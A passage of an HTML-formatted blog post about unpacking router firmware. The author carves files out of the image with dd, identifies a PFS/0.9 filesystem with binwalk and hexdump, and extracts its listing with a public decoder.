width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum31&quot;&gt;  31:&lt;/span&gt; root@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# dd if=1500WG_SP_FW3_0_6_c.bin bs=1 skip=1263616 of=fifth.zip                     &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum32&quot;&gt;  32:&lt;/span&gt; 200714+0 records in&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum33&quot;&gt;  33:&lt;/span&gt; 200714+0 records out&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum34&quot;&gt;  34:&lt;/span&gt; 200714 bytes (201 kB) copied, 2&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;235 s, 89&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;8 kB/s&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum35&quot;&gt;  35:&lt;/span&gt; root@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# unzip fifth.zip&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum36&quot;&gt;  36:&lt;/span&gt; unzip fifth&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;zip &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum37&quot;&gt;  37:&lt;/span&gt; Archive:  fifth&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;zip&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum38&quot;&gt;  38:&lt;/span&gt;   inflating: ar0700mp&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;bin                                 &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;How to find how many bytes you actually need to extract each time? It’s easy, just subtract the decimal places of the starting positions from the sections, eg. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;First position is until from 0 to 951296, the second file length exists between (third – second position) 977920 – 951296 = 26624 bytes.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Starting with the pfs files I went ahead identifying them with binwalk eg, &lt;/p&gt;&lt;br /&gt;&lt;p&gt;binwalk pfs.img&amp;nbsp; gave the following results:&lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; DECIMAL         HEX             DESCRIPTION&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; -------------------------------------------------------------------------------------------------------&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; 0               0x0             PFS filesystem, version &lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;9, 37377 files&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;I had no prior knowledge of the PFS filesystem and I went ahead with Google search. Initial search results were no good, seems that “PFS filesystem” stands for many things like Professional File System, Playstation File system etc. Checking at the header of the file I notice the magic number &lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; root@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# hexdump -C -n 8 pfs.img   &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; 00000000  50 46 53 2f 30 2e 39 00                           |PFS/0&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;9&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; 00000008&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;and I went ahead with a new search on PFS/0.9. The second result is for a file decoder from Domen Puncer ( &lt;a title=&quot;http://cba.si/pfs/&quot; href=&quot;http://cba.si/pfs/&quot;&gt;http://cba.si/pfs/&lt;/a&gt; ) for PFS/0.9 files and as described on README ( &lt;a title=&quot;http://cba.si/pfs/_README&quot; href=&quot;http://cba.si/pfs/_README&quot;&gt;http://cba.si/pfs/_README&lt;/a&gt; ) “ Contents of those files are just HTML pages and images,&lt;br&gt;they also contain .EXE files, sized 0 bytes. “ &lt;/p&gt;&lt;br /&gt;&lt;p&gt;I grabbed a copy of &lt;a title=&quot;http://cba.si/pfs/pfs.c&quot; href=&quot;http://cba.si/pfs/pfs.c&quot;&gt;http://cba.si/pfs/pfs.c&lt;/a&gt;, and compiled the file using gcc –o pfs pfs.c, the result was the binary that I needed and as promised the contents of my pfs.img file were extracted.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; root@system:~/firmware# ./pfs &amp;lt; pfs.img &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; sig:    PFS/0.9&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; wtf1:   0x00000000&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt; wtf2:   0x0000&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt; entries: 402&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum6&quot;&gt;   6:&lt;/span&gt; detected path length of 40 bytes&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum7&quot;&gt;   7:&lt;/span&gt; www\cgi-bin\7804WBRa_backup.bin     ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum8&quot;&gt;   8:&lt;/span&gt; www\cgi-bin\aadsl.exe               ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum9&quot;&gt;   9:&lt;/span&gt; www\cgi-bin\ac_control.exe          ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum10&quot;&gt;  10:&lt;/span&gt; www\cgi-bin\add_cur_mac.exe         ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum11&quot;&gt;  11:&lt;/span&gt; www\cgi-bin\admz.exe                ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum12&quot;&gt;  12:&lt;/span&gt; www\cgi-bin\aoaccadd.exe            ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum13&quot;&gt;  13:&lt;/span&gt; www\cgi-bin\aoaccdel.exe            ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum14&quot;&gt;  14:&lt;/span&gt; www\cgi-bin\aoschadd.exe            ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum15&quot;&gt;  15:&lt;/span&gt; www\cgi-bin\aoschdel.exe            ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum16&quot;&gt;  16:&lt;/span&gt; www\cgi-bin\aportadd.exe            ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum17&quot;&gt;  17:&lt;/span&gt; www\cgi-bin\aportdel.exe            ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum18&quot;&gt;  18:&lt;/span&gt; www\cgi-bin\aportfd.exe             ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum19&quot;&gt;  19:&lt;/span&gt; www\cgi-bin\arip.exe                ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum20&quot;&gt;  20:&lt;/span&gt; www\cgi-bin\aroute.exe              ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum21&quot;&gt;  21:&lt;/span&gt; www\cgi-bin\ArouteNew.exe           ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum22&quot;&gt;  22:&lt;/span&gt; www\cgi-bin\asec.exe                ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum23&quot;&gt;  23:&lt;/span&gt; www\cgi-bin\atmpvc.exe              ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum24&quot;&gt;  24:&lt;/span&gt; www\cgi-bin\aurlbk.exe              ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum25&quot;&gt;  25:&lt;/span&gt; www\cgi-bin\backup.bin              ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum26&quot;&gt;  26:&lt;/span&gt; www\cgi-bin\backup_config.exe       ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum27&quot;&gt;  27:&lt;/span&gt; www\cgi-bin\backup_log.exe          ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum28&quot;&gt;  28:&lt;/span&gt; www\cgi-bin\badsl.exe               ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum29&quot;&gt;  29:&lt;/span&gt; www\cgi-bin\Batmint.exe             ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span 